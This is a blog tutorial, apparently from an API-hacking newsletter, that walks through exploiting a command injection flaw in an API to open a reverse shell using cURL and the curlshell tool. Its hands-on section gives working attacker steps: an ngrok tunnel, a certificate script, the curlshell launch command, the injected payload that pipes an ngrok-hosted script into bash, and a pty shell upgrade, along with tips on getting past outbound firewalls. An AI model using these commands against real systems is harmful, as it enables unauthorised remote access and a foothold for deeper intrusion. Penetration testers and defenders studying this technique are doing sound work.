API exploitation refers to the practice of discovering and exploiting weaknesses in an Application Programming Interface (API) to gain unauthorized access, manipulate data, or otherwise disrupt services.
In this article, I want to show you an interesting exploitation technique – leveraging command injection vulnerabilities in APIs to craft a reverse shell using nothing more than cURL.
A reverse shell allows you, as the attacker, to communicate with the compromised API server, offering a backdoor into the API and its infrastructure.
Throughout this article, we will explore the technical intricacies of this attack vector, providing a hands-on example for you to use in future engagements.
Understanding API Exploitation
API exploitation is a method employed by attackers to breach APIs by taking advantage of their inherent vulnerabilities. This exploitation can take many forms, such as data breaches, denial of service, or in our case, command injection to gain a reverse shell.
Essentially, you as the attacker, manipulate the API requests and responses to perform unintended actions, which can lead to unauthorized access to sensitive data or system control.
Understanding the nature of these vulnerabilities and how to exploit them is crucial in both developing secure APIs and performing effective penetration testing.
Common API Vulnerabilities
APIs can be vulnerable to exploitation in various ways, largely depending on their design and implementation.
One of the most common vulnerabilities stems from inadequate input validation. If an API does not properly check, sanitize or filter the data received in requests, it could be susceptible to attacks like SQL Injection or Command Injection.
Understanding these common vulnerabilities is the first step toward effective API exploitation. In our case, we are going to leverage command injection.
The Concept of Command Injection
Command Injection is a vulnerability where an attacker can execute arbitrary commands on the system by manipulating the API.
This vulnerability typically arises when user input is embedded in system commands without proper validation or sanitization.
In the context of APIs, exploiters may leverage command injection to alter the server’s behavior, access sensitive information, or even gain full control of the system.
With the ability to execute system-level commands, you as the attacker, can wreak havoc, including establishing a reverse shell for persistent access.
Common examples of Command Injection Vulnerabilities
Common examples of command injection vulnerabilities often involve misusing system functions within an application’s code.
For instance, system calls that take user input, like
passthru() in PHP, can be manipulated by an attacker to execute arbitrary commands.
Similar functions exist in other languages, such as
os.system() in Python,
Process.Start() in C#, and
Runtime.getRuntime().exec() in Java.
These are typically called dangerous functions or sinks. To learn more about abusing dangerous functions like this, I highly recommend you check out my article about tracing API exploitability through code review and taint analysis.
If you can manipulate the user input to these functions, it can lead to command injection attacks.
Another typical scenario involves applications that concatenate user input into a command line string, which is then executed by the system. In such cases, you could use special characters, like semicolons or ampersands, to add malicious commands to the original string.
So why abuse cURL?
In many scenarios, APIs run in containers or other constrained environments that may not have common tools used for reverse shells like netcat and socat. In other cases, restrictive blacklists block command execution preventing these tools from running.
And in other situations, the ability to establish raw TCP connections to the outside world is not possible thanks to security technical safeguards that block regular outbound connections, except maybe through the universal firewall bypass protocol… HTTPS.
This is where cURL comes in.
cURL is usually looked upon as safe for use. It is rarely considered for weaponization to gain access to the host it runs on.
Thanks to a neat little Github repo called curlshell, we can use that to our advantage.
Curlshell is a simple interactive HTTP server that provides a way to mux stdin/stdout and stderr of a remote reverse shell over that proxy with the help of curl. You can further tunnel your traffic inside a TLS stream, preventing anyone from sniffing the session as you exfiltrate your shell outside the target environment.
For the rest of this article, I will show you a simple and practical way to take advantage of a command injection vulnerability in an API to trigger a reverse shell, using nothing more than cURL on the API server to tunnel yourself a back door.
Hands-On: Crafting a Reverse Shell via cURL
OK. So let me set the stage.
- A vulnerable API is running in Azure which is backed by an Azure CloudShell environment. (Don’t ask… many say it can’t be done, but it can be, as you’ll see 😈)
- We’ve already found a command injection vulnerability in one of the endpoints, which we can trigger on demand.
- Now we want to exploit it.
- Our goal is to get a reverse shell to that Azure environment.
Step 1: Set up the attacker machine
We will need a few things installed and running on our attacker machine, namely:
- A reverse proxy to get back to us since we are on a VPN connection (you ARE using a throw-away IP address when conducting your API security testing, right?). We will use the free version of ngrok for this.
- Python, and the Python code to curlshell
- OpenSSL to generate temporary certificates for curlshell for use with HTTPS
- stdbuff to redirect I/O stream buffering for stdin, stdout, and stderr. It is recommended that you use WSL if you are on Windows. You should install coreutils using Brew if you are on a Mac. Linux almost always has stdbuf installed by default.
I’ve crafted reverse shells via cURL on Windows, Linux, and Mac. So it should work in most environments. YMMV of course.
Step 2: Setup a ngrok tunnel
Once everything is installed, the first thing we want to get running is a tunnel back to our attacker system. If you are using an ephemeral VM/VPC directly hooked to the Internet, you can skip this step if you like.
However, even then, any sort of reverse proxy or ingress-as-a-service tunneling tool like ngrok is useful to further mask your attacking machine and helps prevent you from being blocked by any aggressive technical safeguards the blue team may be applying.
Here is the command I run to set up this tunnel:
ngrok http https://localhost:4242
You may decide using port 443 is more accessible and safer in many environments. I like using 4242 as I am usually not trying to hide from the SOC during my API security testing… I want them to be able to record when I have successfully exfiltrated a shell.
TIP: Do NOT follow ngrok’s normal guidance of using the command
ngrok http 4242 (or whatever port you decide to use). This forces the schema transfer to plain HTTP when it leaves their HTTPS channel to your local service.
By explicitly forcing
https://localhost:4242 it tells ngrok to tunnel encrypted HTTPS traffic over their connection, which curlshell will use with its own custom certificate. This allows your data to stay encrypted even as it goes through ngrok’s servers to reduce the information disclosure risk during testing.
Once the tunnel is up, take note of the custom domain endpoint assigned to you. Copy the FQDN of the tunnel (excluding the https:// protocol schema). You will need this in the next step.
Step 3: Generate a new certificate for curlshell to use through the tunnel
Now that you have this custom domain ngrok generated for your tunnel, you want to create a new public and private keypair curlshell will use for its HTTPS server.
I’ve written a super simple bash script that can be used to generate this all for you:
#!/bin/bash openssl req -x509 -newkey rsa:4096 -sha256 -days 3650 -nodes -keyout curlshell.key -out curlshell.crt -subj "/CN=$1"
Usage is simply
It will place the private key (curlshell.key) and the public cert (curlshell.crt) in the local directory.
Step 4: Launch curlshell on the attacker machine
With everything set up, it’s now time to launch curlshell.
./curlshell.py --certificate curlshell.crt --private-key curlshell.key --listen-port 4242
If everything goes well, you should now see a message that the server is listening for inbound connections.
TIP: I found an issue in the curlshell code that prevented it from working for me. Python kept complaining that the action of ‘store_true’ could not work with the type ‘bool’ statement. So I removed the action entirely in the last two arguments, and everything worked fine. If you need to set them, just use
--serve-forever=True as a command line argument.
Step 5: Exploit the Command Injection vulnerability
Time to trigger the vuln and get the reverse shell via cURL.
Craft your attack payload to cause command injection, with the command piping a shell into curl to your ngrok endpoint. It will look something like this:
curl -s -k https://your-subdomain.ngrok-free.app | bash
Let me explain a few things:
- -s tells curl to be silent, disabling the progress meter. We don’t want to send any extra data across the stream if we don’t have to.
- -k tells curl to skip the step to verify the certificate during the handshake for the SSL connection. This lets us bypass the security checks against the temporary self-signed cert we generated for use with curlshell. The outer SSL connection ngrok creates is a valid cert and doesn’t need this, but how it’s validated inside the tunnel is what we are trying to protect against.
If everything goes right, you should see three connections come through ngrok:
Notice how there are separate PUT calls to
/stderr, and a POST call to
/stdin? When you first connect to the curlshell server with cURL it sends a command into bash to establish the streams using 3 separate curl commands wrapped in stdbuf. Multiplexed (mux) I/O streams at it’s finest!
You now have a reverse shell to the API server. Albeit, probably a bit unstable… without a prompt and echoing additional characters in the stream. When you run commands like
cd, they work but with some annoying errors.
Let’s fix that.
Step 6: Stabilize your reverse shell
In my case, this API server is running in Azure and Python exists on the target. So I can upgrade to a more fully-fledged shell using:
python -c 'import pty;pty.spawn("/bin/bash")'
And with that, I now have a useable reverse shell to continue my security testing against the API infrastructure in Azure.
Exploiting command injection vulnerabilities and crafting a reverse shell with cURL is an incredibly useful attack vector, especially when accessing APIs that may not be directly exposed.
Hijacking native tools on a target to live off the land like this is a unique way to get a foothold onto the API server that allows you to pivot deeper into the infrastructure during your engagement. Most developers and ops folks wouldn’t consider cURL as an attack tool like this.
Use it to your advantage.
One last thing…
The API Hacker Inner Circle is growing. It’s my FREE weekly newsletter where I share articles like this, along with pro tips, industry insights, and community news that I don’t tend to share publicly. If you haven’t yet, join us by subscribing at https://apihacker.blog.